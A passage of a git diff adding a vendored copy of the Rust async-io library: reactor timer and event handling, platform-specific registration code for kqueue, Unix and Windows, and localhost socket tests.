ID_GENERATOR.fetch_add(1, Ordering::Relaxed); + + // Push an insert operation. + while self + .timer_ops + .push(TimerOp::Insert(when, id, waker.clone())) + .is_err() + { + // If the queue is full, drain it and try again. + let mut timers = self.timers.lock().unwrap(); + self.process_timer_ops(&mut timers); + } + + // Notify that a timer has been inserted. + self.notify(); + + id + } + + /// Deregisters a timer from the reactor. + pub(crate) fn remove_timer(&self, when: Instant, id: usize) { + // Push a remove operation. + while self.timer_ops.push(TimerOp::Remove(when, id)).is_err() { + // If the queue is full, drain it and try again. + let mut timers = self.timers.lock().unwrap(); + self.process_timer_ops(&mut timers); + } + } + + /// Notifies the thread blocked on the reactor. + pub(crate) fn notify(&self) { + self.poller.notify().expect("failed to notify reactor"); + } + + /// Locks the reactor, potentially blocking if the lock is held by another thread. + pub(crate) fn lock(&self) -> ReactorLock<'_> { + let reactor = self; + let events = self.events.lock().unwrap(); + ReactorLock { reactor, events } + } + + /// Attempts to lock the reactor. + pub(crate) fn try_lock(&self) -> Option> { + self.events.try_lock().ok().map(|events| { + let reactor = self; + ReactorLock { reactor, events } + }) + } + + /// Processes ready timers and extends the list of wakers to wake. + /// + /// Returns the duration until the next timer before this method was called. + fn process_timers(&self, wakers: &mut Vec) -> Option { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("process_timers"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut timers = self.timers.lock().unwrap(); + self.process_timer_ops(&mut timers); + + let now = Instant::now(); + + // Split timers into ready and pending timers. + // + // Careful to split just *after* `now`, so that a timer set for exactly `now` is considered + // ready. + let pending = timers.split_off(&(now + Duration::from_nanos(1), 0)); + let ready = mem::replace(&mut *timers, pending); + + // Calculate the duration until the next event. + let dur = if ready.is_empty() { + // Duration until the next timer. + timers + .keys() + .next() + .map(|(when, _)| when.saturating_duration_since(now)) + } else { + // Timers are about to fire right now. + Some(Duration::from_secs(0)) + }; + + // Drop the lock before waking. + drop(timers); + + // Add wakers to the list. + #[cfg(feature = "tracing")] + tracing::trace!("{} ready wakers", ready.len()); + + for (_, waker) in ready { + wakers.push(waker); + } + + dur + } + + /// Processes queued timer operations. + fn process_timer_ops(&self, timers: &mut MutexGuard<'_, BTreeMap<(Instant, usize), Waker>>) { + // Process only as much as fits into the queue, or else this loop could in theory run + // forever. + self.timer_ops + .try_iter() + .take(self.timer_ops.capacity().unwrap()) + .for_each(|op| match op { + TimerOp::Insert(when, id, waker) => { + timers.insert((when, id), waker); + } + TimerOp::Remove(when, id) => { + timers.remove(&(when, id)); + } + }); + } +} + +/// A lock on the reactor. +pub(crate) struct ReactorLock<'a> { + reactor: &'a Reactor, + events: MutexGuard<'a, Events>, +} + +impl ReactorLock<'_> { + /// Processes new events, blocking until the first event or the timeout. + pub(crate) fn react(&mut self, timeout: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("react"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut wakers = Vec::new(); + + // Process ready timers. + let next_timer = self.reactor.process_timers(&mut wakers); + + // compute the timeout for blocking on I/O events. + let timeout = match (next_timer, timeout) { + (None, None) => None, + (Some(t), None) | (None, Some(t)) => Some(t), + (Some(a), Some(b)) => Some(a.min(b)), + }; + + // Bump the ticker before polling I/O. + let tick = self + .reactor + .ticker + .fetch_add(1, Ordering::SeqCst) + .wrapping_add(1); + + self.events.clear(); + + // Block on I/O events. + let res = match self.reactor.poller.wait(&mut self.events, timeout) { + // No I/O events occurred. + Ok(0) => { + if timeout != Some(Duration::from_secs(0)) { + // The non-zero timeout was hit so fire ready timers. + self.reactor.process_timers(&mut wakers); + } + Ok(()) + } + + // At least one I/O event occurred. + Ok(_) => { + // Iterate over sources in the event list. + let sources = self.reactor.sources.lock().unwrap(); + + for ev in self.events.iter() { + // Check if there is a source in the table with this key. + if let Some(source) = sources.get(ev.key) { + let mut state = source.state.lock().unwrap(); + + // Collect wakers if any event was emitted. + for &(dir, emitted) in &[(WRITE, ev.writable), (READ, ev.readable)] { + if emitted { + state[dir].tick = tick; + state[dir].drain_into(&mut wakers); + } + } + + // Re-register if there are still writers or readers. This can happen if + // e.g. we were previously interested in both readability and writability, + // but only one of them was emitted. + if !state[READ].is_empty() || !state[WRITE].is_empty() { + // Create the event that we are interested in. + let event = { + let mut event = Event::none(source.key); + event.readable = !state[READ].is_empty(); + event.writable = !state[WRITE].is_empty(); + event + }; + + // Register interest in this event. + source.registration.modify(&self.reactor.poller, event)?; + } + } + } + + Ok(()) + } + + // The syscall was interrupted. + Err(err) if err.kind() == io::ErrorKind::Interrupted => Ok(()), + + // An actual error occureed. + Err(err) => Err(err), + }; + + // Wake up ready tasks. + #[cfg(feature = "tracing")] + tracing::trace!("{} ready wakers", wakers.len()); + for waker in wakers { + // Don't let a panicking waker blow everything up. + panic::catch_unwind(|| waker.wake()).ok(); + } + + res + } +} + +/// A single timer operation. +enum TimerOp { + Insert(Instant, usize, Waker), + Remove(Instant, usize), +} + +/// A registered source of I/O events. +#[derive(Debug)] +pub(crate) struct Source { + /// This source's registration into the reactor. + registration: Registration, + + /// The key of this source obtained during registration. + key: usize, + + /// Inner state with registered wakers. + state: Mutex<[Direction; 2]>, +} + +/// A read or write direction. +#[derive(Debug, Default)] +struct Direction { + /// Last reactor tick that delivered an event. + tick: usize, + + /// Ticks remembered by `Async::poll_readable()` or `Async::poll_writable()`. + ticks: Option<(usize, usize)>, + + /// Waker stored by `Async::poll_readable()` or `Async::poll_writable()`. + waker: Option, + + /// Wakers of tasks waiting for the next event. + /// + /// Registered by `Async::readable()` and `Async::writable()`. + wakers: Slab>, +} + +impl Direction { + /// Returns `true` if there are no wakers interested in this direction. + fn is_empty(&self) -> bool { + self.waker.is_none() && self.wakers.iter().all(|(_, opt)| opt.is_none()) + } + + /// Moves all wakers into a `Vec`. + fn drain_into(&mut self, dst: &mut Vec) { + if let Some(w) = self.waker.take() { + dst.push(w); + } + for (_, opt) in self.wakers.iter_mut() { + if let Some(w) = opt.take() { + dst.push(w); + } + } + } +} + +impl Source { + /// Polls the I/O source for readability. + pub(crate) fn poll_readable(&self, cx: &mut Context<'_>) -> Poll> { + self.poll_ready(READ, cx) + } + + /// Polls the I/O source for writability. + pub(crate) fn poll_writable(&self, cx: &mut Context<'_>) -> Poll> { + self.poll_ready(WRITE, cx) + } + + /// Registers a waker from `poll_readable()` or `poll_writable()`. + /// + /// If a different waker is already registered, it gets replaced and woken. + fn poll_ready(&self, dir: usize, cx: &mut Context<'_>) -> Poll> { + let mut state = self.state.lock().unwrap(); + + // Check if the reactor has delivered an event. + if let Some((a, b)) = state[dir].ticks { + // If `state[dir].tick` has changed to a value other than the old reactor tick, + // that means a newer reactor tick has delivered an event. + if state[dir].tick != a && state[dir].tick != b { + state[dir].ticks = None; + return Poll::Ready(Ok(())); + } + } + + let was_empty = state[dir].is_empty(); + + // Register the current task's waker. + if let Some(w) = state[dir].waker.take() { + if w.will_wake(cx.waker()) { + state[dir].waker = Some(w); + return Poll::Pending; + } + // Wake the previous waker because it's going to get replaced. + panic::catch_unwind(|| w.wake()).ok(); + } + state[dir].waker = Some(cx.waker().clone()); + state[dir].ticks = Some((Reactor::get().ticker(), state[dir].tick)); + + // Update interest in this I/O handle. + if was_empty { + // Create the event that we are interested in. + let event = { + let mut event = Event::none(self.key); + event.readable = !state[READ].is_empty(); + event.writable = !state[WRITE].is_empty(); + event + }; + + // Register interest in it. + self.registration.modify(&Reactor::get().poller, event)?; + } + + Poll::Pending + } + + /// Waits until the I/O source is readable. + pub(crate) fn readable(handle: &crate::Async) -> Readable<'_, T> { + Readable(Self::ready(handle, READ)) + } + + /// Waits until the I/O source is readable. + pub(crate) fn readable_owned(handle: Arc>) -> ReadableOwned { + ReadableOwned(Self::ready(handle, READ)) + } + + /// Waits until the I/O source is writable. + pub(crate) fn writable(handle: &crate::Async) -> Writable<'_, T> { + Writable(Self::ready(handle, WRITE)) + } + + /// Waits until the I/O source is writable. + pub(crate) fn writable_owned(handle: Arc>) -> WritableOwned { + WritableOwned(Self::ready(handle, WRITE)) + } + + /// Waits until the I/O source is readable or writable. + fn ready> + Clone, T>(handle: H, dir: usize) -> Ready { + Ready { + handle, + dir, + ticks: None, + index: None, + _capture: PhantomData, + } + } +} + +/// Future for [`Async::readable`](crate::Async::readable). +#[must_use = "futures do nothing unless you `.await` or poll them"] +pub struct Readable<'a, T>(Ready<&'a crate::Async, T>); + +impl Future for Readable<'_, T> { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + ready!(Pin::new(&mut self.0).poll(cx))?; + #[cfg(feature = "tracing")] + tracing::trace!(fd = ?self.0.handle.source.registration, "readable"); + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for Readable<'_, T> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Readable").finish() + } +} + +/// Future for [`Async::readable_owned`](crate::Async::readable_owned). +#[must_use = "futures do nothing unless you `.await` or poll them"] +pub struct ReadableOwned(Ready>, T>); + +impl Future for ReadableOwned { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + ready!(Pin::new(&mut self.0).poll(cx))?; + #[cfg(feature = "tracing")] + tracing::trace!(fd = ?self.0.handle.source.registration, "readable_owned"); + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for ReadableOwned { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("ReadableOwned").finish() + } +} + +/// Future for [`Async::writable`](crate::Async::writable). +#[must_use = "futures do nothing unless you `.await` or poll them"] +pub struct Writable<'a, T>(Ready<&'a crate::Async, T>); + +impl Future for Writable<'_, T> { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + ready!(Pin::new(&mut self.0).poll(cx))?; + #[cfg(feature = "tracing")] + tracing::trace!(fd = ?self.0.handle.source.registration, "writable"); + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for Writable<'_, T> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Writable").finish() + } +} + +/// Future for [`Async::writable_owned`](crate::Async::writable_owned). +#[must_use = "futures do nothing unless you `.await` or poll them"] +pub struct WritableOwned(Ready>, T>); + +impl Future for WritableOwned { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + ready!(Pin::new(&mut self.0).poll(cx))?; + #[cfg(feature = "tracing")] + tracing::trace!(fd = ?self.0.handle.source.registration, "writable_owned"); + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for WritableOwned { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("WritableOwned").finish() + } +} + +struct Ready>, T> { + handle: H, + dir: usize, + ticks: Option<(usize, usize)>, + index: Option, + _capture: PhantomData T>, +} + +impl>, T> Unpin for Ready {} + +impl> + Clone, T> Future for Ready { + type Output = io::Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let Self { + ref handle, + dir, + ticks, + index, + .. + } = &mut *self; + + let mut state = handle.borrow().source.state.lock().unwrap(); + + // Check if the reactor has delivered an event. + if let Some((a, b)) = *ticks { + // If `state[dir].tick` has changed to a value other than the old reactor tick, + // that means a newer reactor tick has delivered an event. + if state[*dir].tick != a && state[*dir].tick != b { + return Poll::Ready(Ok(())); + } + } + + let was_empty = state[*dir].is_empty(); + + // Register the current task's waker. + let i = match *index { + Some(i) => i, + None => { + let i = state[*dir].wakers.insert(None); + *index = Some(i); + *ticks = Some((Reactor::get().ticker(), state[*dir].tick)); + i + } + }; + state[*dir].wakers[i] = Some(cx.waker().clone()); + + // Update interest in this I/O handle. + if was_empty { + // Create the event that we are interested in. + let event = { + let mut event = Event::none(handle.borrow().source.key); + event.readable = !state[READ].is_empty(); + event.writable = !state[WRITE].is_empty(); + event + }; + + // Indicate that we are interested in this event. + handle + .borrow() + .source + .registration + .modify(&Reactor::get().poller, event)?; + } + + Poll::Pending + } +} + +impl>, T> Drop for Ready { + fn drop(&mut self) { + // Remove our waker when dropped. + if let Some(key) = self.index { + let mut state = self.handle.borrow().source.state.lock().unwrap(); + let wakers = &mut state[self.dir].wakers; + if wakers.contains(key) { + wakers.remove(key); + } + } + } +} diff --git a/lib/malio/async-io/src/reactor/kqueue.rs b/lib/malio/async-io/src/reactor/kqueue.rs new file mode 100644 index 0000000..2bfc14b --- /dev/null +++ b/lib/malio/async-io/src/reactor/kqueue.rs @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: MIT OR Apache-2.0 + +use crate::os::kqueue::Signal; + +use polling::os::kqueue::{PollerKqueueExt, Process, ProcessOps, Signal as PollSignal}; +use polling::{Event, PollMode, Poller}; + +use std::fmt; +use std::io::Result; +use std::num::NonZeroI32; +use std::os::unix::io::{AsRawFd, BorrowedFd, RawFd}; + +/// The raw registration into the reactor. +/// +/// This needs to be public, since it is technically exposed through the `QueueableSealed` trait. +#[doc(hidden)] +pub enum Registration { + /// Raw file descriptor for readability/writability. + /// + /// + /// # Invariant + /// + /// This describes a valid file descriptor that has not been `close`d. It will not be + /// closed while this object is alive. + Fd(RawFd), + + /// Raw signal number for signal delivery. + Signal(Signal), + + /// Pid for process termination. + Process(NonZeroI32), +} + +impl fmt::Debug for Registration { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Fd(raw) => fmt::Debug::fmt(raw, f), + Self::Signal(signal) => fmt::Debug::fmt(signal, f), + Self::Process(process) => fmt::Debug::fmt(process, f), + } + } +} + +impl Registration { + /// Add this file descriptor into the reactor. + /// + /// # Safety + /// + /// The provided file descriptor must be valid and not be closed while this object is alive. + pub(crate) unsafe fn new(f: BorrowedFd<'_>) -> Self { + Self::Fd(f.as_raw_fd()) + } + + /// Registers the object into the reactor. + #[inline] + pub(crate) fn add(&self, poller: &Poller, token: usize) -> Result<()> { + match self { + Self::Fd(raw) => { + // SAFETY: This object's existence validates the invariants of Poller::add + unsafe { poller.add(*raw, Event::none(token)) } + } + Self::Signal(signal) => { + poller.add_filter(PollSignal(signal.0), token, PollMode::Oneshot) + } + Self::Process(pid) => poller.add_filter( + unsafe { Process::from_pid(*pid, ProcessOps::Exit) }, + token, + PollMode::Oneshot, + ), + } + } + + /// Re-registers the object into the reactor. + #[inline] + pub(crate) fn modify(&self, poller: &Poller, interest: Event) -> Result<()> { + match self { + Self::Fd(raw) => { + // SAFETY: self.raw is a valid file descriptor + let fd = unsafe { BorrowedFd::borrow_raw(*raw) }; + poller.modify(fd, interest) + } + Self::Signal(signal) => { + poller.modify_filter(PollSignal(signal.0), interest.key, PollMode::Oneshot) + } + Self::Process(pid) => poller.modify_filter( + unsafe { Process::from_pid(*pid, ProcessOps::Exit) }, + interest.key, + PollMode::Oneshot, + ), + } + } + + /// Deregisters the object from the reactor. + #[inline] + pub(crate) fn delete(&self, poller: &Poller) -> Result<()> { + match self { + Self::Fd(raw) => { + // SAFETY: self.raw is a valid file descriptor + let fd = unsafe { BorrowedFd::borrow_raw(*raw) }; + poller.delete(fd) + } + Self::Signal(signal) => poller.delete_filter(PollSignal(signal.0)), + Self::Process(pid) => { + poller.delete_filter(unsafe { Process::from_pid(*pid, ProcessOps::Exit) }) + } + } + } +} diff --git a/lib/malio/async-io/src/reactor/unix.rs b/lib/malio/async-io/src/reactor/unix.rs new file mode 100644 index 0000000..6c9f1aa --- /dev/null +++ b/lib/malio/async-io/src/reactor/unix.rs @@ -0,0 +1,59 @@ +// SPDX-License-Identifier: MIT OR Apache-2.0 + +use polling::{Event, Poller}; + +use std::fmt; +use std::io::Result; +use std::os::unix::io::{AsRawFd, BorrowedFd, RawFd}; + +/// The raw registration into the reactor. +#[doc(hidden)] +pub struct Registration { + /// Raw file descriptor on Unix. + /// + /// # Invariant + /// + /// This describes a valid file descriptor that has not been `close`d. It will not be + /// closed while this object is alive. + raw: RawFd, +} + +impl fmt::Debug for Registration { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + fmt::Debug::fmt(&self.raw, f) + } +} + +impl Registration { + /// Add this file descriptor into the reactor. + /// + /// # Safety + /// + /// The provided file descriptor must be valid and not be closed while this object is alive. + pub(crate) unsafe fn new(f: BorrowedFd<'_>) -> Self { + Self { raw: f.as_raw_fd() } + } + + /// Registers the object into the reactor. + #[inline] + pub(crate) fn add(&self, poller: &Poller, token: usize) -> Result<()> { + // SAFETY: This object's existence validates the invariants of Poller::add + unsafe { poller.add(self.raw, Event::none(token)) } + } + + /// Re-registers the object into the reactor. + #[inline] + pub(crate) fn modify(&self, poller: &Poller, interest: Event) -> Result<()> { + // SAFETY: self.raw is a valid file descriptor + let fd = unsafe { BorrowedFd::borrow_raw(self.raw) }; + poller.modify(fd, interest) + } + + /// Deregisters the object from the reactor. + #[inline] + pub(crate) fn delete(&self, poller: &Poller) -> Result<()> { + // SAFETY: self.raw is a valid file descriptor + let fd = unsafe { BorrowedFd::borrow_raw(self.raw) }; + poller.delete(fd) + } +} diff --git a/lib/malio/async-io/src/reactor/windows.rs b/lib/malio/async-io/src/reactor/windows.rs new file mode 100644 index 0000000..75233c9 --- /dev/null +++ b/lib/malio/async-io/src/reactor/windows.rs @@ -0,0 +1,103 @@ +// SPDX-License-Identifier: MIT OR Apache-2.0 + +use polling::os::iocp::PollerIocpExt; +use polling::{Event, PollMode, Poller}; +use std::fmt; +use std::io::Result; +use std::os::windows::io::{ + AsRawHandle, AsRawSocket, BorrowedHandle, BorrowedSocket, RawHandle, RawSocket, +}; + +/// The raw registration into the reactor. +#[doc(hidden)] +pub enum Registration { + /// Raw socket handle on Windows. + /// + /// # Invariant + /// + /// This describes a valid socket that has not been `close`d. It will not be + /// closed while this object is alive. + Socket(RawSocket), + + /// Waitable handle for Windows. + /// + /// # Invariant + /// + /// This describes a valid waitable handle that has not been `close`d. It will not be + /// closed while this object is alive. + Handle(RawHandle), +} + +unsafe impl Send for Registration {} +unsafe impl Sync for Registration {} + +impl fmt::Debug for Registration { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Socket(raw) => fmt::Debug::fmt(raw, f), + Self::Handle(handle) => fmt::Debug::fmt(handle, f), + } + } +} + +impl Registration { + /// Add this file descriptor into the reactor. + /// + /// # Safety + /// + /// The provided file descriptor must be valid and not be closed while this object is alive. + pub(crate) unsafe fn new(f: BorrowedSocket<'_>) -> Self { + Self::Socket(f.as_raw_socket()) + } + + /// Create a new [`Registration`] around a waitable handle. + /// + /// # Safety + /// + /// The provided handle must be valid and not be closed while this object is alive. + pub(crate) unsafe fn new_waitable(f: BorrowedHandle<'_>) -> Self { + Self::Handle(f.as_raw_handle()) + } + + /// Registers the object into the reactor. + #[inline] + pub(crate) fn add(&self, poller: &Poller, token: usize) -> Result<()> { + // SAFETY: This object's existence validates the invariants of Poller::add + unsafe { + match self { + Self::Socket(raw) => poller.add(*raw, Event::none(token)), + Self::Handle(handle) => { + poller.add_waitable(*handle, Event::none(token), PollMode::Oneshot) + } + } + } + } + + /// Re-registers the object into the reactor. + #[inline] + pub(crate) fn modify(&self, poller: &Poller, interest: Event) -> Result<()> { + // SAFETY: self.raw is a valid file descriptor + match self { + Self::Socket(raw) => { + poller.modify(unsafe { BorrowedSocket::borrow_raw(*raw) }, interest) + } + Self::Handle(handle) => poller.modify_waitable( + unsafe { BorrowedHandle::borrow_raw(*handle) }, + interest, + PollMode::Oneshot, + ), + } + } + + /// Deregisters the object from the reactor. + #[inline] + pub(crate) fn delete(&self, poller: &Poller) -> Result<()> { + // SAFETY: self.raw is a valid file descriptor + match self { + Self::Socket(raw) => poller.delete(unsafe { BorrowedSocket::borrow_raw(*raw) }), + Self::Handle(handle) => { + poller.remove_waitable(unsafe { BorrowedHandle::borrow_raw(*handle) }) + } + } + } +} diff --git a/lib/malio/async-io/tests/async.rs b/lib/malio/async-io/tests/async.rs new file mode 100644 index 0000000..f425f04 --- /dev/null +++ b/lib/malio/async-io/tests/async.rs @@ -0,0 +1,440 @@ +use std::io; +use std::net::{Shutdown, TcpListener, TcpStream, UdpSocket}; +#[cfg(unix)] +use std::os::unix::net::{UnixDatagram, UnixListener, UnixStream}; +use std::sync::Arc; +use std::thread; +use std::time::Duration; + +use async_io::{Async, Timer}; +use futures_lite::{future, prelude::*}; +#[cfg(unix)] +use tempfile::tempdir; + +const LOREM_IPSUM: &[u8] = b" +Lorem ipsum dolor sit amet, consectetur adipiscing elit. +Donec pretium ante erat, vitae sodales mi varius quis. +Etiam vestibulum lorem vel urna tempor, eu fermentum odio aliquam. +Aliquam consequat urna vitae ipsum pulvinar, in blandit purus eleifend. +"; + +fn spawn( + f: impl Future + Send + 'static, +) -> impl Future + Send + 'static { + let (s, r) = async_channel::bounded(1); + + thread::spawn(move || { + future::block_on(async { + s.send(f.await).await.ok(); + }) + }); + + Box::pin(async move { r.recv().await.unwrap() }) +} + +#[test] +fn tcp_connect() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + let task = spawn(async move { listener.accept().await }); + + let stream2 = Async::::connect(addr).await?; + let stream1 = task.await?.0; + + assert_eq!( + stream1.get_ref().peer_addr()?, + stream2.get_ref().local_addr()?, + ); + assert_eq!( + stream2.get_ref().peer_addr()?, + stream1.get_ref().local_addr()?, + ); + + // Now that the listener is closed, connect should fail. + let err = Async::::connect(addr).await.unwrap_err(); + assert_eq!(err.kind(), io::ErrorKind::ConnectionRefused); + + Ok(()) + }) +} + +#[test] +fn tcp_peek_read() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + + let mut stream = Async::::connect(addr).await?; + stream.write_all(LOREM_IPSUM).await?; + + let mut buf = [0; 1024]; + let mut incoming = Box::pin(listener.incoming()); + let mut stream = incoming.next().await.unwrap()?; + + let n = stream.peek(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + let n = stream.read(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +#[test] +fn tcp_reader_hangup() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + let task = spawn(async move { listener.accept().await }); + + let mut stream2 = Async::::connect(addr).await?; + let stream1 = task.await?.0; + + let task = spawn(async move { + Timer::after(Duration::from_secs(1)).await; + drop(stream1); + }); + + while stream2.write_all(LOREM_IPSUM).await.is_ok() {} + task.await; + + Ok(()) + }) +} + +#[test] +fn tcp_writer_hangup() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + let task = spawn(async move { listener.accept().await }); + + let mut stream2 = Async::::connect(addr).await?; + let stream1 = task.await?.0; + + let task = spawn(async move { + Timer::after(Duration::from_secs(1)).await; + drop(stream1); + }); + + let mut v = vec![]; + stream2.read_to_end(&mut v).await?; + assert!(v.is_empty()); + + task.await; + Ok(()) + }) +} + +#[test] +fn udp_send_recv() -> io::Result<()> { + future::block_on(async { + let socket1 = Async::::bind(([127, 0, 0, 1], 0))?; + let socket2 = Async::::bind(([127, 0, 0, 1], 0))?; + socket1.get_ref().connect(socket2.get_ref().local_addr()?)?; + + let mut buf = [0u8; 1024]; + + socket1.send(LOREM_IPSUM).await?; + let n = socket2.peek(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + let n = socket2.recv(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + + socket2 + .send_to(LOREM_IPSUM, socket1.get_ref().local_addr()?) + .await?; + let n = socket1.peek_from(&mut buf).await?.0; + assert_eq!(&buf[..n], LOREM_IPSUM); + let n = socket1.recv_from(&mut buf).await?.0; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn udp_connect() -> io::Result<()> { + future::block_on(async { + let dir = tempdir()?; + let path = dir.path().join("socket"); + + let listener = Async::::bind(&path)?; + + let mut stream = Async::::connect(&path).await?; + stream.write_all(LOREM_IPSUM).await?; + + let mut buf = [0; 1024]; + let mut incoming = Box::pin(listener.incoming()); + let mut stream = incoming.next().await.unwrap()?; + + let n = stream.read(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +// This test is broken for now on OpenBSD: https://github.com/rust-lang/rust/issues/116523 +#[cfg(all(unix, not(target_os = "openbsd")))] +#[test] +fn uds_connect() -> io::Result<()> { + future::block_on(async { + let dir = tempdir()?; + let path = dir.path().join("socket"); + let listener = Async::::bind(&path)?; + + let addr = listener.get_ref().local_addr()?; + let task = spawn(async move { listener.accept().await }); + + let stream2 = Async::::connect(addr.as_pathname().unwrap()).await?; + let stream1 = task.await?.0; + + assert_eq!( + stream1.get_ref().peer_addr()?.as_pathname(), + stream2.get_ref().local_addr()?.as_pathname(), + ); + assert_eq!( + stream2.get_ref().peer_addr()?.as_pathname(), + stream1.get_ref().local_addr()?.as_pathname(), + ); + + // Now that the listener is closed, connect should fail. + let err = Async::::connect(addr.as_pathname().unwrap()) + .await + .unwrap_err(); + assert_eq!(err.kind(), io::ErrorKind::ConnectionRefused); + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn uds_send_recv() -> io::Result<()> { + future::block_on(async { + let (socket1, socket2) = Async::::pair()?; + + socket1.send(LOREM_IPSUM).await?; + let mut buf = [0; 1024]; + let n = socket2.recv(&mut buf).await?; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn uds_send_to_recv_from() -> io::Result<()> { + future::block_on(async { + let dir = tempdir()?; + let path = dir.path().join("socket"); + let socket1 = Async::::bind(&path)?; + let socket2 = Async::::unbound()?; + + socket2.send_to(LOREM_IPSUM, &path).await?; + let mut buf = [0; 1024]; + let n = socket1.recv_from(&mut buf).await?.0; + assert_eq!(&buf[..n], LOREM_IPSUM); + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn uds_reader_hangup() -> io::Result<()> { + future::block_on(async { + let (socket1, mut socket2) = Async::::pair()?; + + let task = spawn(async move { + Timer::after(Duration::from_secs(1)).await; + drop(socket1); + }); + + while socket2.write_all(LOREM_IPSUM).await.is_ok() {} + task.await; + + Ok(()) + }) +} + +#[cfg(unix)] +#[test] +fn uds_writer_hangup() -> io::Result<()> { + future::block_on(async { + let (socket1, mut socket2) = Async::::pair()?; + + let task = spawn(async move { + Timer::after(Duration::from_secs(1)).await; + drop(socket1); + }); + + let mut v = vec![]; + socket2.read_to_end(&mut v).await?; + assert!(v.is_empty()); + + task.await; + Ok(()) + }) +} + +// Test that we correctly re-register interests after we've previously been +// interested in both readable and writable events and then we get only one of +// those (we need to re-register interest on the other). +#[test] +fn tcp_duplex() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let stream1 = + Arc::new(Async::::connect(listener.get_ref().local_addr()?).await?); + let stream2 = Arc::new(listener.accept().await?.0); + + async fn do_read(s: Arc>) -> io::Result<()> { + let mut buf = vec![0u8; 4096]; + loop { + let len = (&*s).read(&mut buf).await?; + if len == 0 { + return Ok(()); + } + } + } + + async fn do_write(s: Arc>) -> io::Result<()> { + let buf = vec![0u8; 4096]; + for _ in 0..4096 { + (&*s).write_all(&buf).await?; + } + s.get_ref().shutdown(Shutdown::Write)?; + Ok(()) + } + + // Read from and write to stream1. + let r1 = spawn(do_read(stream1.clone())); + let w1 = spawn(do_write(stream1)); + + // Sleep a bit, so that reading and writing are both blocked. + Timer::after(Duration::from_millis(5)).await; + + // Start reading stream2, make stream1 writable. + let r2 = spawn(do_read(stream2.clone())); + + // Finish writing to stream1. + w1.await?; + r2.await?; + + // Start writing to stream2, make stream1 readable. + let w2 = spawn(do_write(stream2)); + + // Will r1 be correctly woken? + r1.await?; + w2.await?; + + Ok(()) + }) +} + +#[test] +fn shutdown() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + let ((mut reader, _), writer) = + future::try_zip(listener.accept(), Async::::connect(addr)).await?; + + // The writer must be closed in order for `read_to_end()` to finish. + let mut buf = Vec::new(); + future::try_zip(reader.read_to_end(&mut buf), async { + writer.get_ref().shutdown(Shutdown::Write) + }) + .await?; + + Ok(()) + }) +} + +// prevent source from unregistering by trying to register it twice +#[test] +fn duplicate_socket_insert() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.as_ref().local_addr()?; + + // attempt to register twice + assert!(Async::new(&listener).is_err(), "fails upon second insert"); + + // Read and Write to confirm socket did not deregister on duplication attempt + // Write to stream_w + let mut stream_w = Async::::connect(addr).await?; + stream_w.write(LOREM_IPSUM).await?; + stream_w.get_ref().shutdown(Shutdown::Write)?; + + // Read from stream_r + let mut stream_r = listener.accept().await?.0; + let mut buffer = vec![0; LOREM_IPSUM.len()]; + stream_r.read_exact(&mut buffer).await?; + + assert_eq!(buffer, LOREM_IPSUM); + + Ok(()) + }) +} + +#[cfg(any(target_os = "linux", target_os = "android"))] +#[test] +fn abstract_socket() -> io::Result<()> { + use std::ffi::OsStr; + #[cfg(target_os = "android")] + use std::os::android::net::SocketAddrExt; + #[cfg(target_os = "linux")] + use std::os::linux::net::SocketAddrExt; + use std::os::unix::ffi::OsStrExt; + use std::os::unix::net::{SocketAddr, UnixListener, UnixStream}; + + 